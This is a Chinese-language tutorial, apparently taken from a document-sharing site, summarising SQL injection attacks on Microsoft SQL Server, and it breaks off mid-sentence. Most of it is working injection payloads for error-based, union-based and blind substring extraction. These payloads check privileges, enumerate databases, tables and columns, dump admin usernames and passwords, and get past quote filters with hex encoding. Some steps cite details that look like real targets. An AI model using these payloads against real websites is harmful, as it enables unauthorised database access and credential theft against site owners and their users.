Sqlserver数据库注入总结终.docx
《Sqlserver数据库注入总结终.docx》由会员分享,可在线阅读,更多相关《Sqlserver数据库注入总结终.docx(41页珍藏版)》请在冰豆网上搜索。
Sqlserver数据库注入总结终
Sqlserver数据库注入总结
对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sqlserver中注释符“--”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。
第一章数据库用户的权限问题
1.1固定服务器角色
由于固定服务器是在服务器层次上定义的,因此他们位于从属于数据库服务器的数据库外面。
这里我们只需知道固定服务器角色中有一个sysadmin的角色,该角色能够执行SQLServer上的任何操作。
本质上,任何具有这种角色成员身份的人都是那个服务器上的sa。
因此当我们在创建数据库登陆用户时,固定服务器角色一个都不要点,只需选择固定数据库角色中的public角色就行。
1.2固定数据库角色
固定数据库角色是在数据库层上进行定义的,因此它们存在于属于数据库服务器的每个数据库中。
其中对于注入来说,我们只需了解public角色和db_owner角色。
Public角色权限:
public角色是数据库中所有用户都保留的默认权限,一般情况下,public角色可以使用某些系统过程查看并显示master数据库中的信息,public是没有建表,插入,更新,备份等权限的,只有查询权限。
Db_owner权限:
db_owner指某个数据库的拥有者,它拥有了对数据库的修改、删除、新增数据表,执行大部分存储过程的权限。
但是涉及到一些系统敏感操作的权限不具备,这也是它与SA权限的唯一区别。
有关详细的数据库角色问题请参照:
第二章mssql显错模式注入(字符型注入)
2.1基本信息
2.1.1判断存在注入
'
根据加单引号的错误回显,发现是字符型,再通过'and'1'='1'and'2'='2进一步判断。
可以想象sql语句可能是:
select*fromtablewherestring='0103',这是一个完整的sql语句,可以构造语句:
select*fromtablewherestring='0103'and'1'='1'and'2'='2',我们添加的语句是:
'and'1'='1'and'2'='2,正好可以使原先的'0103'左右两边的单引号闭合。
其中在'1'='1'的地方我们可以用1=1来代替,sql查询返回的结果是正常的,但是使用a=a返回错误,使用'a'='a'返回正确,这里等号两边是数字应该是个特例。
可以在and'1'='1'的地方构造需要的sql注入语句。
2.1.2判断是否是mssql
and(selectcount(*)fromsysobjects)>1and'1'!
>'3
Mssql每个数据库都存在表sysobject,因此如果是mssql数据库的话,查询语句返回的结果一定是大于1的,即selectcount(*)fromsysobjects)>1逻辑是正确的,页面返回正常。
2.1.3mssql版本
and1=(select@@version)and'1'!
>'3
其中and'1'!
>'3是永远成立的条件,语义是字符串'1'不等于字符串'3',这里我们可以构造其他任意成立的条件,例如'1'='1、'2'='2、'a'='a等等。
2.1.4当前用户
and1=(selectuser)and'1'!
>'3
2.1.5当前数据库
and1=(selectdb_name())and'1'!
>'3
当前库为Gwork_ahnd
2.1.6爆出所有数据库
and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=1)and'1'!
>'3
通过改变dbid的值,如1、2、3等等,所有数据库都可以爆出来。
2.1.7判断用户权限
判断服务器角色:
and1=(selectIS_SRVROLEMEMBER('sysadmin'))and'1'!
>'3
服务器角色权限有:
sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin等等
判断数据库角色:
and1=(selectis_member('db_owner'))and'1'!
>'3
数据库角色权限有:
public、db_owner等等
当单引号被过滤时候,可以将单引号等字符转化为16进制的,即:
is_member(char(0x64)%2Bchar(0x62)%2Bchar(0x5f)%2Bchar(0x6f)%2Bchar(0x77)%2Bchar(0x6e)%2Bchar(0x65)%2Bchar(0x72))
判断是否是sa权限,需要判断下服务器角色:
selectIS_SRVROLEMEMBER('sysadmin'),返回1,则是sa权限
sa权限用户具有public和db_owner权限,但是具有public和db_owner权限的用户不一定是sa最高权限。
此处的用户权限是db_owner:
2.2爆表名信息
2.2.1确定表数目
'and(selectcast(count(*)asvarchar(100))%2bchar(94)fromsysobjectswherextype='u')=1and'1'!
>'3
其中注意几个方面,一个是cast函数的使用,将用户表数据取出后转化为varchar类型,然后和“^”字符连接,“%2b”是字符“+”的url编码形式,“+”在mssql中是连接字符串的。
在这里,必须用%2b代替“+”,不然报错。
Char(94)=^
2.2.2爆第一个表表名
and(selecttop1namefromsysobjectswherextype='u')>1and'1'!
>'3
2.2.3爆余下的表名
方法一:
用notin
andconvert(int,(selecttop1namefromsysobjectswherextype='u'andnamenotin('PY_WKJSJDJKS')))>1and'1'!
>'3
方法二:
用selecttop
andconvert(int,(selecttop1namefromsysobjectswherextype='u'andnamenotin(selecttop1namefromsysobjectswherextype='u')))>1and'1'!
>'3
2.3爆列名信息
2.3.1爆第一个列名,用having1=1
and(select*fromPY_WKJSJDJKShaving1=1)>1and'1'!
>'3
Having是要和groupby一起用的,如果不在一起出现,则会报错,因此使用having1=1会爆出表列名。
2.3.2爆第二个列名,用groupby
and(select*fromPY_WKJSJDJKSgroupbyxh)>1and'1'!
>'3
Groupby的语法是指定查询结果的分组条件,在select后面的列名数要和groupby后面的列名数要相等,不然会报错。
如上,select后面的列数是表中所有的列,但是groupby后面的列数只有两个,因此报错。
2.4爆数据信息
2.4.1读第一条数据(读Web_InfoKinds表的name列的数据)
and(selecttop1namefromWeb_InfoKinds)>1and'1'!
>'3
2.4.2读第二条数据
方法一:
notin
andconvert(int,(selecttop1namefromWeb_InfoKindswherenamenotin('部门简介')))>1and'1'!
>'3
这个方法在语法上是没错的,但是就是报错跑不出数据
方法二:
selecttop
andconvert(int,(selecttop1namefromWeb_InfoKindswherenamenotin(selecttop1namefromWeb_InfoKinds)))>1and'1'!
>'3
以上方法二都比方法一高效一点。
其中发现了个问题,就是当需要爆的数据类型是int型时,数据库不显错。
例如知道表名loging_user,列名username(nvarchar)和passwd(nvarchar)(但是数据是像‘123456’这种形式的),userid,当我们爆username的时候,可以使用语句:
convert(int,(selecttop1usernamefromlogin_user))>1,因为nvarchar向int转化时出错,能够爆出数据。
但是用在爆密码passwd上则不行,convert(int,(selecttop1passwdfromlogin_user))>1,没有回显,因为都是数字型的,没有类型转化错误。
尝试过奖convert后的int改为别的数据类型,例如varchar、char等等都不行。
还有就是将查询出来的密码用连接符连接一个字符,形如:
(selecttop1passwdfromlogin_user)+a、(selecttop1passwdfromlogin_user)+'a'等等,尝试好多也不能报错。
有效的突破方法如下:
1)'andsubstring((selecttop1passwdfromlogin_user),1,1)=0and'1'!
>'3
这个方法需要知道表名和列名,只剩下爆数据的步骤了,正好符合我们现在的需求。
在执行以上语句之前,我们可以先确定列数据的长度,语句如下:
(selecttop1len(passwd)fromlogin_user)=5,将5这个数字换成别的不断测试,知道页面返回正常为止,对于一般的列数据长度不是很长,我们很容易获得列数据的长度信息。
2)selectcount(*)fromtestwheresubstring(pu,2,1)=1andcu='aaaaaaa'
在本地建了个test数据库,表中建立表test,分别有字段pu(char(10))、cu(char(10))、s(int(4)),如下图所示:
构造查询语句如下:
selectcount(*)fromtestwheresubstring(pu,2,1)=1andcu='aaaaaaa'
这里可以通过substring函数,逐位爆出字段的数据,前提是pu的数据类型是char/varchar、nchar/nvarchar和binary/varbinary。
如果数据类型换成int型则会出现使用substring函数无效:
所以对于数据类型是int的数据库字段的数据这种方法还是不行的,对于数据类型是非int,但是数据是数字串的(如‘111111’)是可以使用这种方法爆出数据的。
第三章mssql不显错模式注入(字符型注入)
3.1判断是否有注入
'
结果:
提示有未闭合的引号,通过报错有时可以看到网站目录。
继续测试,用以下语句:
c:
\iknow\docshare\data\cur_work\'and1=1
结果:
将varchar值'10and1=1'转换为数据类型为int的列时发生语法错误。
所以判断这里应该是字符型注入。
之后用以下语句做进一步测试:
'and1=1--
页面返回正常
'and1=2--
页面返回不正常
或
'and'1'='1
'and'1'='2
3.2基本信息
3.2.1判断联合查询数(数据库)
'orderby8--
3.2.2构造联合查询语句
'and1=2unionselect1,2,3,4,5,6,7,8--
3.2.3数据库版本
'and1=2unionselect1,2,@@version,4,5,6,7,8--
3.2.4数据库当前用户
'and1=2unionselect1,2,user,4,5,6,7,8--
注:
selectsystem_user();
selectsuser_sname();
selectuser;
3.2.5列出用户
'and1=2unionselect1,2,name,4,5,6,7,8frommaster..syslogins--
3.2.6当前用户权限:
(若为sysadmin,返回1,其他返回0)
selectis_srvolemenber('user');
'and1=2unionselect1,2,3,4,is_srvrolemember('ahjianli'),6,7,8--
IS_SRVROLEMEMBER
3.2.7数据库服务器主机名
'and1=2unionselect1,2,3,4,@@servername,6,7,8--
服务器名称为:
TYIIUIY-DCD0664
3.2.8当前数据库
'and1=2unionselect1,2,3,4,db_name(),6,7,8--
当前数据库名为:
coffe
3.2.9列出数据库
'and1=2unionselect1,2,3,4,name,6,7,8frommaster..sysdatabases--
3.3列出当前数据库表
'and1=2unionselect1,2,3,4,name,6,7,8fromsysobjectswherextype='u'--读数据库表
'and1=2unionselect1,2,3,4,name,6,7,8fromsysobjectswherextype='v'--读数据库视图
列出master数据库表:
'and1=2unionselect1,2,3,4,name,6,7,8frommaster..sysobjectswherextype='u'--
'and1=2unionselect1,2,3,4,name,6,7,8frommaster..sysobjectswherextype='v'--
3.4列出表列
'and1=2unionselect1,2,3,4,name,6,7,8fromsyscolumnswhereid=object_id('admin')--从admin表中读列
3.5爆数据信息
'and1=2unionselect1,2,password,4,username,6,7,8fromadmin--从admin表中读数据
第四章mssql特殊情况的绕过方法(数字型注入)
注点:
,这个点可以使用报错来获得敏感信息,不能使用unionselect联合查询。
其中报错的时候在数据库第一个表时使用xtype='u'报错,需要用xtype=char(117)来进行绕过。
还有就是使用union查询时,发现了一个问题,orderby可以获取表的字段数,但是使用unionselect1,2……的时候报出运算元类型错误:
text与int不相容的错误,然后将select后面的数字改为null,还是不能绕过,报出的错误是:
不能选取text资料类型作为distinct,因为无法比较。
其中如果数据类型是text、ntext和image都会报这个错误。
又使用unionallselect,还是无法通过。
具体显错模式报爆数据如下:
4.1基本信息
4.1.1判断存在注入
'
and1=1
and1=2
1=1返回正常页面,1=2返回不正常,可以确定这个点事数字型的
4.1.2判断是否是mssql
and(selectcount(*)fromsysobjects)>1
4.1.3判断mssql版本
4.1.3.1显错模式
and(select@@version)>1
这里爆出了数据库的版本为2005,操作系统是2003。
4.1.3.2orderby不显错模式突破方法
在这里可以使用orderby,从而知道表的字段数,但是使用unionselect时出错。
出现:
“操作数类型冲突:
ntext与int不兼容”错误。
这里得说明一下为什么会出现以上错误。
大多数情况下,我们使用union联合查询可以很快获得目标数据的组织情况,然而当我们遇到ntext、text或image数据类型时,union查询就不管用了。
在sqlserver中这种情况下或抛出错误:
不能以DISTINCT方式选择text、ntext或image数据类型,因为它不可比。
因为ntext、text、image数据字段可能存储非常多的数据,默认情况下,数据库为提高效率会强制排除以上类型的大字段中的相同的数据,这样就相当于在sql查询语句中加入了distinct关键字。
而又因为这种类型的数据量可能非常大,数据库无法对这种类型的字段进行有效的比较,而distinct又要求数据库进行比较,从而导致上述的错误现象。
突破方法:
1.用null代替数字
将数字换成null,还是出错;使用unionallselect也不能突破
这个点无论怎么弄,都不能突破,还是挺变态的。
下面介绍一个可以突破的例子:
注点(数字型):
先orderby出有28个表字段,再构造union联合查询语句:
and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
在union后用null代替数据
and1=2unionallselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
出现错误:
“操作数类型冲突:
ntext与int不兼容”
2.Union后加all关键字突破
and1=2unionallselectnull,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--
页面能返回但是不显示数据,因为数据全被null填充了。
看了下,页面上显示的都是大块的内容,那可以猜想他们的数据类型是text或ntext,这时需要找到这些数据类型的字段位置,可以逐一将null换成数字,看是否报错,如果某位置报错,则这个位置是text型数据,全部text数据分布如下:
and1=2unionallselect1,2,3,4,5,6,null,null,9,10,11,12,13,14,15,16,17,18,19,20,21,null,23,null,25,null,27,28--
这时我们逐一将null替换成爆数据的语句,例如@@version、user等等,当我试到第二个null的位置处时发现爆出了数据。
and1=2unionallselect1,2,3,4,5,6,null,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,null,23,null,25,null,27,28--
4.1.4当前用户
and(selectuser)>1
当前用户为DB89956251
4.1.5当前数据库
and(selectdb_name())>1
当前数据库为alung
4.1.6爆出所有数据库
and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=1)
第一个数据库为master
4.1.7判断用户权限
判断服务器角色:
and1=(selectIS_SRVROLEMEMBER('sysadmin'))
这里由于过滤了单引号,所以返回错误。
尝试将'sysadmin'转化为16进制0x2773797361646D696E27以及char(0x27)+sysadmin+char(0x27)都不能突破,但是将十六进制数写成如下形式可以如破:
0x273D0069006E002700
判断数据库角色:
and1=(selectis_member('db_owner'))
Db_owner十六进制变形:
0x640062005F006F0077006E0065007200
4.2爆表名
4.2.1爆第一个表表名
andconvert(int,(selecttop1namefromsysobjectswherextype='u'))>1
在这里由于网站过滤了单引号,所有直接输入以上命令会出现错